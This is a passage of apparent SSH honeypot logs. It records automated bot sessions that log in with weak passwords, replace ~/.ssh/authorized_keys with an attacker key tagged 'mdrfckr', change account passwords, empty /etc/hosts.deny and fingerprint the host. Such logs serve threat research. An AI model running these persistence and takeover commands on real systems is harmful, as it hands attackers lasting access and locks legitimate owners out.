0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:49:02.873699+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:49:03.703548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:49:04.531079+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:49:05.410409+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:49:06.316467+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:49:06.707674+00:00","kind":"output","latency_ms":null,"data":"user10"},{"seq":29,"at":"2026-08-27T13:49:07.534433+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:49:08.612356+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:49:09.457901+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:49:11.634326+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user10","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"fd0e2781-f91d-49c5-812e-65104e405e6f","name":"barren-vaulted-cardinal","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":44270,"username":"jason","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":484,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:47:42.693713+00:00","ended_at":"2026-08-27T13:47:43.374431+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2050,"events":[{"seq":1,"at":"2026-08-27T13:47:28.412919+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:47:28.792248+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:47:33.638953+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:47:33.639783+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:47:34.021216+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nsWE1uXH2myTY\\nsWE1uXH2myTY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:47:34.398654+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nsWE1uXH2myTY\\nsWE1uXH2myTY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:47:34.774607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:47:34.774948+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:47:35.511488+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:47:36.081879+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:47:36.462716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:47:37.037047+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:47:37.423134+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:47:37.423803+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:47:37.805221+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:47:37.805741+00:00","kind":"output","latency_ms":null,"data":" 13:47:37 up 7 days, 10:37, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:47:38.620317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:47:38.620912+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:47:39.226563+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:47:39.228340+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:47:39.819002+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:47:39.820285+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:39 up 7 days, 10:37, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:47:40.302232+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:47:40.302805+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:47:40.786761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:47:40.787418+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:47:41.164223+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:47:41.164863+00:00","kind":"output","latency_ms":null,"data":"jason"},{"seq":29,"at":"2026-08-27T13:47:41.649920+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:47:42.173833+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:47:42.696010+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:47:43.260047+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jason","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"4f0679fd-0de7-4821-8a97-c666f6559bf6","name":"placid-smooth-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":48974,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":833,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:47:13.006250+00:00","ended_at":"2026-08-27T13:47:14.698382+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-27T13:46:45.741806+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:46:46.572764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:46:52.629373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:46:52.921692+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:46:53.758102+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KtYXBeqdOy6W\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:46:54.585499+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:46:55.418123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:46:56.156605+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:46:56.988200+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:46:58.027498+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:46:58.873033+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:47:00.146329+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:47:00.984066+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:47:01.285932+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:47:02.120090+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:47:02.488893+00:00","kind":"output","latency_ms":null,"data":" 13:47:02 up 7 days, 10:37, 0 user, load average: 0.32, 0.28, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:47:03.320243+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:47:03.573462+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:47:04.407245+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:47:04.822712+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:47:05.656861+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:47:05.975918+00:00","kind":"output","latency_ms":null,"data":"top - 13:47:05 up 7 days, 10:37, 0 user, load average: 0.32, 0.28, 0.23\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:47:06.812540+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:47:07.699327+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:47:08.533179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:47:09.183312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:47:10.016408+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:47:10.357791+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:47:11.192793+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:47:12.174366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:47:13.007007+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:47:14.429956+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qaz1wsx2","method":"password","accepted":true,"tier":"other"}]} {"id":"c1d61d73-1b49-4235-b367-8e10e936e78b","name":"fringed-granite-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":55924,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:46:10.305836+00:00","ended_at":"2026-08-27T13:46:11.078524+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2047,"events":[{"seq":1,"at":"2026-08-27T13:45:55.686267+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:45:56.065118+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:46:00.183882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:46:00.184209+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:46:00.537306+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sammy123!\\nwFzgZHEKYTak\\nwFzgZHEKYTak\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:46:01.093753+00:00","kind":"input","latency_ms":null,"data":"echo \"sammy123!\\nwFzgZHEKYTak\\nwFzgZHEKYTak\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:46:01.720113+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:46:01.825415+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:46:01.825964+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:46:02.626016+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:46:03.353021+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:46:03.797756+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:46:04.403944+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:46:04.955059+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:46:04.955579+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:46:05.395596+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:46:05.396179+00:00","kind":"output","latency_ms":null,"data":" 13:46:05 up 7 days, 10:36, 0 user, load average: 0.28, 0.2, 0.32\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:46:05.843449+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:46:05.844044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:46:06.417472+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:46:06.419336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:46:06.866791+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:46:06.867296+00:00","kind":"output","latency_ms":null,"data":"top - 13:46:06 up 7 days, 10:36, 0 user, load average: 0.28, 0.2, 0.32\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:46:07.472433+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:46:07.472907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:46:07.920035+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:46:07.920437+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:46:08.368750+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:46:08.369418+00:00","kind":"output","latency_ms":null,"data":"sammy"},{"seq":30,"at":"2026-08-27T13:46:08.993561+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:46:09.592838+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:46:10.306531+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:46:10.839756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sammy","password":"sammy123!","method":"password","accepted":true,"tier":"other"}]} {"id":"be430fc9-3418-4120-a9a2-95dfd66d578f","name":"glassy-languid-raven","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":53042,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":837,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:45:26.904360+00:00","ended_at":"2026-08-27T13:45:28.490199+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T13:45:00.537238+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:45:01.385674+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:45:08.086797+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:45:08.087362+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:45:08.913686+00:00","kind":"input","latency_ms":null,"data":"echo \"root:2zecvfAlyvTt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:45:09.755837+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:45:10.597700+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:45:10.598182+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:45:11.446216+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:45:12.060068+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:45:12.894514+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:45:13.397127+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:45:14.230445+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:45:14.230873+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:45:15.075188+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:45:15.764351+00:00","kind":"output","latency_ms":null,"data":" 13:45:15 up 7 days, 10:35, 0 user, load average: 0.24, 0.23, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:45:16.597683+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:45:17.135193+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:45:17.979365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:45:18.870507+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:45:19.702429+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:45:20.275612+00:00","kind":"output","latency_ms":null,"data":"top - 13:45:20 up 7 days, 10:35, 0 user, load average: 0.24, 0.23, 0.16\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:45:21.107266+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:45:21.374200+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:45:22.213296+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:45:22.668075+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:45:23.505720+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:45:24.155895+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:45:24.998397+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:45:26.067675+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:45:26.905057+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:45:28.216992+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"admin@520","method":"password","accepted":true,"tier":"other"}]} {"id":"5449c50b-b2d5-4e74-8999-89b428743c96","name":"sunlit-creaky-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":57110,"username":"halo","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":834,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:43:34.225939+00:00","ended_at":"2026-08-27T13:43:35.031718+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2049,"events":[{"seq":1,"at":"2026-08-27T13:43:11.913934+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:43:12.746202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd 